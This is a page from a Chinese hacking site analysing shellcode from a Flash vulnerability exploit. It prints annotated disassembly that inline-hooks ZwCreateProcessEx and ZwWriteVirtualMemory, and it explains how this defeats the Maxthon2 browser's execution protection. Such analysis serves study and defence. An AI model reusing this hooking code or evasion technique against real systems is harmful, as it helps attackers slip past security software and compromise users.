黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]flash漏洞所用shellcode的分析
        ★★★★★

flash漏洞所用shellcode的分析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-4 16:25:02

 

首先是将自身保存的NATIVE API原样代码拷贝到PEB后面的空间中。
之所以要拷贝到这里,我想是为了运行的稳定,如果inline hook直接指向shellcode内部,那么shellcode执行完被清理掉之后,程 序再调用相应NATIVE API的时候,就会崩溃掉。这里把代码拷进PEB后面的空间,可以保证在shellcode退出后这部分地址仍然能够正常访 问,程序也还能正常运行(至少看起来是那样)。

004070AE    6A 30           push 30
004070B0    59              pop ecx
004070B1    64:8B19         mov ebxdword ptr fs:[ecx]
004070B4    8DAB 00040000   lea ebpdword ptr [ebx+400]                         ; (17)在PEB结构后面找到一块空着的内存
004070BA    8B9B A8000000   mov ebxdword ptr [ebx+A8]
004070C0    8BFD            mov ediebp
004070C2    56              push esi
004070C3    E9 E0000000     jmp 004071A8                                         ; (18)跳到下面
004070C8    5E              pop esi ; (20)跳回这里
004070C9    F3:A5           rep movs dword ptr es:[edi], dword ptr [esi]         ; 把下面那些摸拟NATIVE API的代码拷进这块内存,用于后面inline hook
004070CB    5E              pop esi

接着,将“找到的”ZwCreateProcessEx和ZwWriteVirtualMemory的最前面部分,修改为“push XXX,retn”的样式,以跳到之前拷贝的代码中:

004070CC    8B7E 24         mov edidword ptr [esi+24]                          ; ZwCreateProcessEx
004070CF    E8 25010000     call 004071F9                                         ; VirtualProtect改函数头0×20为可读可写
004070D4    6A 1A           push 1A                                               ; 以下为直接对ZwCreateProcessEx进行inline hook
004070D6    6A 0D           push 0D
004070D8    6A 00           push 0
004070DA    8BC5            mov eaxebp
004070DC    03049C          add eaxdword ptr [esp+ebx*4]
004070DF    C607 68         mov byte ptr [edi], 68                               ; 代码”push……”
004070E2    47              inc edi
004070E3    AB              stos dword ptr es:[edi]                               ; 内存中拷贝的代码
004070E4    C607 C3         mov byte ptr [edi], 0C3                              ; ret……
004070E7    8B7E 28         mov edidword ptr [esi+28]                          ; ZwWriteVirtualMemory
004070EA    E8 0A010000     call 004071F9
004070EF    6A 3D           push 3D
004070F1    6A 36           push 36
004070F3    6A 27           push 27
004070F5    8BC5            mov eaxebp
004070F7    03049C          add eaxdword ptr [esp+ebx*4]
004070FA    C607 68         mov byte ptr [edi], 68
004070FD    47              inc edi
004070FE    AB              stos dword ptr es:[edi]
004070FF    C607 C3         mov byte ptr [edi], 0C3

为什么我上面特别强调“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址处”?
我们千万不要忘记,这个做法是针对某些软件的,冲着哪个软件?
我想到了MAXTHON2。

搜索一下关于MAXTHON2的浏览器执行保护的文章,很早的文章显示,MAXTHON2正是对ZwCreateProcessEx和ZwWriteVirtualMemory进行了IAT HOOK。
而现在呢,shellcode从kernel32.dll的输入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,这意味着什么?
我大胆假设,当MAXTHON2游览漏洞利用网页的时候,shellcode的执行环境就在其进程中,那么,这时shellcode从kernel32.dll的输入表中取到的地址,正是被MAXTHON2给hook掉的结果,直接到了MAXTHON2的dll里面去了。
这是shellcode作者有意而为之,因为接着它对这两个地址的代码进行了inline hook,又实际上转回了原始的代码。
这样MAXTHON2就在完全没有察觉自己的IAT HOOK失效(本来就没有失效)的情况下,其执行保护被绕过了。

上一页  [1] [2] [3] [4] [5] [6] [7] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886